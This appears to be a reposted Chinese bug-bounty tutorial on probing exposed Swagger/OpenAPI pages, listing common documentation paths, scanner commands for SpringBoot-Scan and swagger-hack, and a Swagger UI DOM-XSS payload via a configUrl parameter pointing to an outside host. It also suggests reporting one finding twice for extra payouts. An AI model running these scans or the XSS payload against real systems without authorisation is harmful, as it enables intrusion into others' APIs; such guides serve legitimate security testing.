swagger简介
Swagger(现称OpenAPI)是一种开源的API描述语言,旨在简化RESTful API的设计、文档化、生成和消费。Swagger为API提供了一种标准化的描述方式,使开发人员、测试人员和用户可以清晰了解API的请求、响应格式以及使用方式。
简单来说就是一个写了后端接口的一个文档页面,通过这个文档你就知道后端有哪些API接口,如果这些接口存在未授权访问,或者存在漏洞,你就能够进行深入攻击。
swagger长什么样子
下面这两种都是swagger,一个是html格式的,一个是json格式的,内容一样,交漏洞的时候,交一个就可以了。
http://127.0.0.1/dev-api/swagger-ui.html
http://127.0.0.1/dev-api/v2/api-docs
swagger重要路径
下面是swagger的一些常见路径,建议使用springboot-scan直接扫敏感信息泄露,那个工具还有路径绕过功能。
/swagger-ui/index.html
/swagger/swagger-ui.html
/api/v1/swagger-ui.html
/v1/api-docs
/v2/api-docs
/v3/api-docs
/api/v1/api-docs
/api/v2/api-docs
/api/v3/api-docs
/dev-api/
https://github.com/AabyssZG/SpringBoot-Scan
命令:
SpringBoot-Scan.exe -u http://xxx.com/
-u 是扫描信息泄露
-v 是扫描漏洞
红色内容一般是存在漏洞,紫色的也要关注一下。
swagger-domxss
这是一个通用型漏洞,swagger低版本都存在这个问题,成功率六成。
通过swagger-html页面后面拼接?configUrl=https://xss.smarpo.com/test.json 的方式,可以触发漏洞,漏洞复现可以使用这个现成的测试链接,就是这个
https://xss.smarpo.com/test.json
该漏洞可以在企业SRC中刷分,我这边学员每次交完Swagger就再交一次xss拿两份钱。
要注意,必须是swagger的这个html页面才可以,api-docs的json页面不可以哦!
swaggerUI-html抓包测试
如果获得了这个swagger-html页面是可以进行手动抓包测试的。
你都会抓包了,怎么测试就不用我说了,你手动测,挂漏扫都行。
swagger-hacker 自动探测接口未授权(不扫漏洞)
如果没有html页面怎么测试,不用担心,有工具可以批量测试。
开扫之前一定注意!!!
如果出现删除delete等接口,不要轻易测试,小心造成无法挽回的攻击!
下载地址:
https://github.com/jayus0821/swagger-hack
可以选择api-docs页面进行扫描。
python swagger-hack2.0.py -u http://127.0.0.1/dev-api/v2/api-docs
建议使用/api-docs ,swagger.html的效果不好。
报错解决。
扫描成功后,会生成一个xlsx文件,里面会记录对接口的全部请求记录,包括发送包,返回包和测试的详情。
原文始发于微信公众号(猎洞时刻):Swagger渗透和XSS通杀方式
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论